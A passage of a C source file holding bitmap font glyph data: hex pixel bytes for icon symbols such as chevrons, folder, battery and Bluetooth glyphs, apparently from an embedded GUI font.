0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xbf, 0xfb,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5,
0xff, 0xff, 0x50, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xd, 0xff, 0xff, 0xd0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x7f, 0xff, 0xff, 0xf7, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1, 0xff, 0xd8, 0x8d,
0xff, 0x10, 0x0, 0x0, 0x0, 0x0, 0xa, 0xff,
0xa0, 0xa, 0xff, 0xa0, 0x0, 0x0, 0x0, 0x0,
0x3f, 0xff, 0xb0, 0xb, 0xff, 0xf3, 0x0, 0x0,
0x0, 0x0, 0xcf, 0xff, 0xc0, 0xc, 0xff, 0xfc,
0x0, 0x0, 0x0, 0x5, 0xff, 0xff, 0xd0, 0xd,
0xff, 0xff, 0x50, 0x0, 0x0, 0xe, 0xff, 0xff,
0xf9, 0x9f, 0xff, 0xff, 0xe0, 0x0, 0x0, 0x8f,
0xff, 0xff, 0xe2, 0x2e, 0xff, 0xff, 0xf8, 0x0,
0x2, 0xff, 0xff, 0xff, 0x90, 0x9, 0xff, 0xff,
0xff, 0x10, 0xa, 0xff, 0xff, 0xff, 0xe3, 0x3e,
0xff, 0xff, 0xff, 0xa0, 0xf, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x8, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x80,
/* U+F074 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd8, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0x80,
0xff, 0xff, 0x70, 0x0, 0x7, 0xff, 0xff, 0xf8,
0xff, 0xff, 0xf6, 0x0, 0x6f, 0xff, 0xff, 0xfd,
0x78, 0x8e, 0xff, 0x15, 0xff, 0xe8, 0xff, 0xe2,
0x0, 0x2, 0xe5, 0x4f, 0xfe, 0x20, 0xfe, 0x20,
0x0, 0x0, 0x13, 0xff, 0xf3, 0x0, 0x52, 0x0,
0x0, 0x0, 0x3f, 0xff, 0x31, 0x0, 0x52, 0x0,
0x0, 0x2, 0xef, 0xf4, 0x5e, 0x20, 0xfe, 0x20,
0x78, 0x8e, 0xff, 0x51, 0xff, 0xe8, 0xff, 0xe2,
0xff, 0xff, 0xf6, 0x0, 0x6f, 0xff, 0xff, 0xfd,
0xff, 0xff, 0x70, 0x0, 0x7, 0xff, 0xff, 0xf8,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0x80,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd8, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F077 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1, 0xdd, 0x10, 0x0, 0x0, 0x0, 0x0,
0x1d, 0xff, 0xd1, 0x0, 0x0, 0x0, 0x1, 0xdf,
0xff, 0xfd, 0x10, 0x0, 0x0, 0x1d, 0xff, 0x99,
0xff, 0xd1, 0x0, 0x1, 0xdf, 0xf9, 0x0, 0x9f,
0xfd, 0x10, 0x1d, 0xff, 0x90, 0x0, 0x9, 0xff,
0xd1, 0xbf, 0xf9, 0x0, 0x0, 0x0, 0x9f, 0xfb,
0x5f, 0x90, 0x0, 0x0, 0x0, 0x9, 0xf5, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F078 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5f,
0x90, 0x0, 0x0, 0x0, 0x9, 0xf5, 0xbf, 0xf9,
0x0, 0x0, 0x0, 0x9f, 0xfb, 0x1d, 0xff, 0x90,
0x0, 0x9, 0xff, 0xd1, 0x1, 0xdf, 0xf9, 0x0,
0x9f, 0xfd, 0x10, 0x0, 0x1d, 0xff, 0x99, 0xff,
0xd1, 0x0, 0x0, 0x1, 0xdf, 0xff, 0xfd, 0x10,
0x0, 0x0, 0x0, 0x1d, 0xff, 0xd1, 0x0, 0x0,
0x0, 0x0, 0x1, 0xdd, 0x10, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F079 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1d, 0xd1, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1, 0xdf, 0xfd, 0x10,
0xef, 0xff, 0xff, 0xff, 0xd0, 0x0, 0x1d, 0xff,
0xff, 0xd1, 0xaf, 0xff, 0xff, 0xff, 0xf0, 0x0,
0xcf, 0xcf, 0xfc, 0xfc, 0x0, 0x0, 0x0, 0xf,
0xf0, 0x0, 0x6b, 0x1f, 0xf1, 0xb6, 0x0, 0x0,
0x0, 0xf, 0xf0, 0x0, 0x0, 0xf, 0xf0, 0x0,
0x0, 0x0, 0x0, 0xf, 0xf0, 0x0, 0x0, 0xf,
0xf0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xf0, 0x0,
0x0, 0xf, 0xf0, 0x0, 0x0, 0x0, 0x6b, 0x1f,
0xf1, 0xb6, 0x0, 0xf, 0xf0, 0x0, 0x0, 0x0,
0xcf, 0xcf, 0xfc, 0xfc, 0x0, 0xf, 0xff, 0xff,
0xff, 0xfa, 0x1d, 0xff, 0xff, 0xd1, 0x0, 0xd,
0xff, 0xff, 0xff, 0xfe, 0x1, 0xdf, 0xfd, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1d,
0xd1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+F07B "" */
0x8f, 0xff, 0xff, 0xe2, 0x0, 0x0, 0x0, 0x0,
0xff, 0xff, 0xff, 0xfe, 0x20, 0x0, 0x0, 0x0,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8,
/* U+F093 "" */
0x0, 0x0, 0x0, 0xb, 0xb0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0xfb, 0x0, 0x0, 0x0,
0x0, 0x0, 0xb, 0xff, 0xff, 0xb0, 0x0, 0x0,
0x0, 0x0, 0xbf, 0xff, 0xff, 0xfb, 0x0, 0x0,
0x0, 0xb, 0xff, 0xff, 0xff, 0xff, 0xb0, 0x0,
0x0, 0x4f, 0xff, 0xff, 0xff, 0xff, 0xf4, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0xdf, 0xff, 0xf0, 0xdf, 0xfd, 0xf, 0xff, 0xfd,
0xff, 0xff, 0xf9, 0x0, 0x0, 0x9f, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xe0, 0xff,
0xdf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfd,
/* U+F095 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xa, 0xea,
0x62, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0xff,
0xff, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9f,
0xff, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf,
0xff, 0xff, 0xd0, 0x0, 0x0, 0x0, 0x0, 0x2,
0xff, 0xff, 0xfb, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3, 0xef, 0xff, 0x70, 0x0, 0x0, 0x0, 0x0,
0x0, 0x4, 0xff, 0xf2, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xbf, 0xfb, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x6f, 0xff, 0x30, 0x0, 0x0, 0x2,
0x0, 0x0, 0x4f, 0xff, 0x90, 0x0, 0x2, 0x8f,
0xf3, 0x0, 0x6f, 0xff, 0xd0, 0x0, 0xa, 0xff,
0xff, 0xe4, 0xbf, 0xff, 0xd1, 0x0, 0x0, 0xef,
0xff, 0xff, 0xff, 0xff, 0xd1, 0x0, 0x0, 0xa,
0xff, 0xff, 0xff, 0xff, 0x90, 0x0, 0x0, 0x0,
0x6f, 0xff, 0xff, 0xfb, 0x30, 0x0, 0x0, 0x0,
0x2, 0xff, 0xdb, 0x72, 0x0, 0x0, 0x0, 0x0,
0x0,
/* U+F0C4 "" */
0x8, 0xee, 0x80, 0x0, 0x0, 0x6, 0x61, 0x8,
0xff, 0xff, 0x80, 0x0, 0x2d, 0xff, 0xd0, 0xef,
0x33, 0xfe, 0x0, 0x2e, 0xff, 0xf3, 0xe, 0xf3,
0x3f, 0xe0, 0x2e, 0xff, 0xf3, 0x0, 0x8f, 0xff,
0xff, 0x6e, 0xff, 0xf3, 0x0, 0x0, 0x8e, 0xff,
0xff, 0xff, 0xf3, 0x0, 0x0, 0x0, 0x2, 0xef,
0xff, 0xf3, 0x0, 0x0, 0x0, 0x0, 0x2e, 0xff,
0xff, 0x30, 0x0, 0x0, 0x8, 0xef, 0xff, 0xff,
0xff, 0x30, 0x0, 0x8, 0xff, 0xff, 0xf6, 0xef,
0xff, 0x30, 0x0, 0xef, 0x33, 0xfe, 0x2, 0xef,
0xff, 0x30, 0xe, 0xf3, 0x3f, 0xe0, 0x2, 0xef,
0xff, 0x30, 0x8f, 0xff, 0xf8, 0x0, 0x2, 0xdf,
0xfd, 0x0, 0x8e, 0xe8, 0x0, 0x0, 0x0, 0x66,
0x10,
/* U+F0C5 "" */
0x0, 0x0, 0xdf, 0xff, 0xff, 0xd, 0x20, 0x0,
0x0, 0xff, 0xff, 0xff, 0xf, 0xe2, 0x0, 0x0,
0xff, 0xff, 0xff, 0xf, 0xfd, 0xdf, 0xf0, 0xff,
0xff, 0xff, 0x20, 0x0, 0xff, 0xf0, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xf0, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xdf, 0xff,
0xff, 0xff, 0xfd, 0xff, 0xf9, 0x0, 0x0, 0x0,
0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0,
0x0, 0xdf, 0xff, 0xff, 0xff, 0xfd, 0x0, 0x0,
/* U+F0C7 "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xc2, 0x0, 0xff,
0xff, 0xff, 0xff, 0xff, 0xfe, 0x20, 0xff, 0x0,
0x0, 0x0, 0x1, 0xff, 0xe2, 0xff, 0x0, 0x0,
0x0, 0x0, 0xff, 0xfc, 0xff, 0x0, 0x0, 0x0,
0x0, 0xff, 0xff, 0xff, 0x0, 0x0, 0x0, 0x0,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xfb, 0x11, 0xbf, 0xff, 0xff, 0xff,
0xff, 0xf1, 0x0, 0x1f, 0xff, 0xff, 0xff, 0xff,
0xf1, 0x0, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xfb,
0x11, 0xbf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x8f, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf8,
/* U+F0E7 "" */
0x0, 0xdf, 0xff, 0xfd, 0x0, 0x0, 0x1, 0xff,
0xff, 0xfc, 0x0, 0x0, 0x3, 0xff, 0xff, 0xf7,
0x0, 0x0, 0x6, 0xff, 0xff, 0xf2, 0x0, 0x0,
0x8, 0xff, 0xff, 0xd0, 0x0, 0x0, 0xa, 0xff,
0xff, 0xff, 0xff, 0xd0, 0xc, 0xff, 0xff, 0xff,
0xff, 0xa0, 0xe, 0xff, 0xff, 0xff, 0xff, 0x20,
0xd, 0xff, 0xff, 0xff, 0xf8, 0x0, 0x0, 0x0,
0xa, 0xff, 0xe0, 0x0, 0x0, 0x0, 0xe, 0xff,
0x50, 0x0, 0x0, 0x0, 0x2f, 0xfc, 0x0, 0x0,
0x0, 0x0, 0x5f, 0xf3, 0x0, 0x0, 0x0, 0x0,
0x9f, 0xa0, 0x0, 0x0, 0x0, 0x0, 0xdf, 0x10,
0x0, 0x0, 0x0, 0x0, 0xd7, 0x0, 0x0, 0x0,
/* U+F0EA "" */
0x0, 0x4, 0xee, 0x40, 0x0, 0x0, 0x0, 0xdf,
0xff, 0x99, 0xff, 0xfd, 0x0, 0x0, 0xff, 0xff,
0x99, 0xff, 0xff, 0x0, 0x0, 0xff, 0xff, 0xff,
0xff, 0xff, 0x0, 0x0, 0xff, 0xff, 0x90, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0xd, 0xff, 0xff,
0xd, 0x20, 0xff, 0xff, 0xf, 0xff, 0xff, 0xf,
0xe2, 0xff, 0xff, 0xf, 0xff, 0xff, 0xf, 0xfd,
0xff, 0xff, 0xf, 0xff, 0xff, 0x20, 0x0, 0xff,
0xff, 0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf,
0xff, 0xff, 0xff, 0xff, 0xdf, 0xff, 0xf, 0xff,
0xff, 0xff, 0xff, 0x0, 0x0, 0xf, 0xff, 0xff,
0xff, 0xff, 0x0, 0x0, 0xf, 0xff, 0xff, 0xff,
0xff, 0x0, 0x0, 0xd, 0xff, 0xff, 0xff, 0xfd,
/* U+F0F3 "" */
0x0, 0x0, 0x0, 0xcc, 0x0, 0x0, 0x0, 0x0,
0x0, 0x2, 0xff, 0x30, 0x0, 0x0, 0x0, 0x1,
0xbf, 0xff, 0xfc, 0x20, 0x0, 0x0, 0x1e, 0xff,
0xff, 0xff, 0xe1, 0x0, 0x0, 0x9f, 0xff, 0xff,
0xff, 0xf8, 0x0, 0x0, 0xef, 0xff, 0xff, 0xff,
0xfd, 0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff,
0x0, 0x1, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0,
0x3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x30, 0x8,
0xff, 0xff, 0xff, 0xff, 0xff, 0x80, 0x1e, 0xff,
0xff, 0xff, 0xff, 0xff, 0xe1, 0xcf, 0xff, 0xff,
0xff, 0xff, 0xff, 0xfc, 0xcf, 0xff, 0xff, 0xff,
0xff, 0xff, 0xfc, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe, 0xff, 0xe0, 0x0,
0x0, 0x0, 0x0, 0x4, 0xee, 0x40, 0x0, 0x0,
/* U+F11C "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x0, 0xf0, 0xf, 0x0, 0xf0,
0xf, 0x0, 0xff, 0xff, 0x0, 0xf0, 0xf, 0x0,
0xf0, 0xf, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8, 0x8,
0x80, 0x88, 0x8, 0x80, 0x8f, 0xff, 0xff, 0xf8,
0x8, 0x80, 0x88, 0x8, 0x80, 0x8f, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x0, 0xf0, 0x0, 0x0, 0x0, 0xf, 0x0,
0xff, 0xff, 0x0, 0xf0, 0x0, 0x0, 0x0, 0xf,
0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x8f, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf8,
/* U+F124 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3,
0xaf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4,
0xcf, 0xff, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x6,
0xdf, 0xff, 0xff, 0xa0, 0x0, 0x0, 0x0, 0x17,
0xef, 0xff, 0xff, 0xff, 0x30, 0x0, 0x0, 0x18,
0xff, 0xff, 0xff, 0xff, 0xfc, 0x0, 0x0, 0x2a,
0xff, 0xff, 0xff, 0xff, 0xff, 0xf4, 0x0, 0x8,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x0,
0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x60,
0x0, 0x8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff,
0xff, 0xf1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xff, 0xff, 0x10, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xff, 0xfa, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xf2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x8f, 0x80, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0,
/* U+F15B "" */
0xdf, 0xff, 0xff, 0xf0, 0xd2, 0x0, 0xff, 0xff,
0xff, 0xf0, 0xfe, 0x20, 0xff, 0xff, 0xff, 0xf0,
0xff, 0xe2, 0xff, 0xff, 0xff, 0xf0, 0xff, 0xfd,
0xff, 0xff, 0xff, 0xf2, 0x0, 0x0, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xdf, 0xff, 0xff, 0xff, 0xff, 0xfd,
/* U+F1EB "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x4, 0x9c, 0xef, 0xfe,
0xc9, 0x40, 0x0, 0x0, 0x0, 0x7, 0xef, 0xff,
0xff, 0xff, 0xff, 0xfe, 0x70, 0x0, 0x4, 0xdf,
0xff, 0xfc, 0xa8, 0x8a, 0xcf, 0xff, 0xfd, 0x40,
0x6f, 0xff, 0xd5, 0x0, 0x0, 0x0, 0x0, 0x5d,
0xff, 0xf6, 0xcf, 0xf6, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x6f, 0xfc, 0x1a, 0x30, 0x0, 0x5a,
0xdf, 0xfd, 0xa5, 0x0, 0x3, 0xa1, 0x0, 0x0,
0x4d, 0xff, 0xff, 0xff, 0xff, 0xd4, 0x0, 0x0,
0x0, 0x5, 0xff, 0xfe, 0xa8, 0x8a, 0xef, 0xff,
0x50, 0x0, 0x0, 0x1, 0xdf, 0x70, 0x0, 0x0,
0x7, 0xfd, 0x10, 0x0, 0x0, 0x0, 0x12, 0x0,
0x0, 0x0, 0x0, 0x21, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x4e, 0xe4, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xef, 0xfe, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xef, 0xfe,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4e, 0xe4, 0x0, 0x0, 0x0, 0x0,
/* U+F240 "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf0, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xfd, 0xff, 0xf,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf, 0xff,
0xff, 0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x0, 0xff, 0xff, 0xf, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x0, 0xff, 0xff, 0xf, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xf, 0xff, 0xff, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xfd,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x80,
/* U+F241 "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf0, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xfd, 0xff, 0xf,
0xff, 0xff, 0xff, 0xff, 0xf0, 0x0, 0xf, 0xff,
0xff, 0xf, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x0,
0x0, 0xff, 0xff, 0xf, 0xff, 0xff, 0xff, 0xff,
0xf0, 0x0, 0x0, 0xff, 0xff, 0xf, 0xff, 0xff,
0xff, 0xff, 0xf0, 0x0, 0xf, 0xff, 0xff, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xfd,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x80,
/* U+F242 "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf0, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xfd, 0xff, 0xf,
0xff, 0xff, 0xff, 0x0, 0x0, 0x0, 0xf, 0xff,
0xff, 0xf, 0xff, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0xff, 0xff, 0xf, 0xff, 0xff, 0xff, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0xf, 0xff, 0xff,
0xff, 0x0, 0x0, 0x0, 0xf, 0xff, 0xff, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xfd,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x80,
/* U+F243 "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf0, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xfd, 0xff, 0xf,
0xff, 0xf0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xff,
0xff, 0xf, 0xff, 0xf0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xff, 0xff, 0xf, 0xff, 0xf0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0xf, 0xff, 0xf0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xff, 0xff, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xfd,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x80,
/* U+F244 "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf0, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xfd, 0xff, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xff,
0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xff, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf, 0xff, 0xff, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0xfd,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x80,
/* U+F287 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7,
0xfd, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1, 0xcf, 0xff, 0xf5, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xb9, 0x29, 0xfe, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x3f, 0x10, 0x2,
0x0, 0x0, 0x0, 0x0, 0x3, 0xdf, 0x80, 0xa,
0x90, 0x0, 0x0, 0x0, 0x3, 0x70, 0x0, 0xdf,
0xff, 0x77, 0xf7, 0x55, 0x55, 0x55, 0x55, 0x8f,
0xd3, 0xf, 0xff, 0xfd, 0xcc, 0xdf, 0xdc, 0xcc,
0xcc, 0xcd, 0xff, 0xb0, 0x8f, 0xfe, 0x10, 0x0,
0xaa, 0x0, 0x0, 0x0, 0x4d, 0x40, 0x0, 0x46,
0x10, 0x0, 0x1, 0xf2, 0x2, 0x33, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x9, 0xb1, 0xcf,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xa, 0xff, 0xff, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xbf, 0xf9, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x22,
0x0, 0x0, 0x0,
/* U+F293 "" */
0x0, 0x18, 0xdf, 0xfd, 0x92, 0x0, 0x2, 0xef,
0xfb, 0xef, 0xff, 0x30, 0xd, 0xff, 0xfa, 0x2e,
0xff, 0xe0, 0x4f, 0xff, 0xfa, 0x3, 0xff, 0xf5,
0x9f, 0xfa, 0xfa, 0x35, 0x4f, 0xfa, 0xcf, 0xc0,
0x8a, 0x3d, 0xb, 0xfd, 0xef, 0xfb, 0x3, 0x12,
0x8f, 0xfe, 0xff, 0xff, 0xb0, 0x6, 0xff, 0xff,
0xff, 0xff, 0xd1, 0x8, 0xff, 0xff, 0xef, 0xfd,
0x11, 0x10, 0x9f, 0xff, 0xdf, 0xd1, 0x59, 0x3b,
0xb, 0xfd, 0xaf, 0xd7, 0xfa, 0x38, 0x1d, 0xfb,
0x5f, 0xff, 0xfa, 0x1, 0xdf, 0xf7, 0xd, 0xff,
0xfa, 0x1d, 0xff, 0xf1, 0x3, 0xef, 0xfc, 0xdf,
0xff, 0x50, 0x0, 0x18, 0xdf, 0xfe, 0xa3, 0x0,
/* U+F2ED "" */
0x0, 0x0, 0x7f, 0xff, 0xf7, 0x0, 0x0, 0xef,
0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xef, 0xff,
0xff, 0xff, 0xff, 0xff, 0xfe, 0x0, 0x0, 0x0,
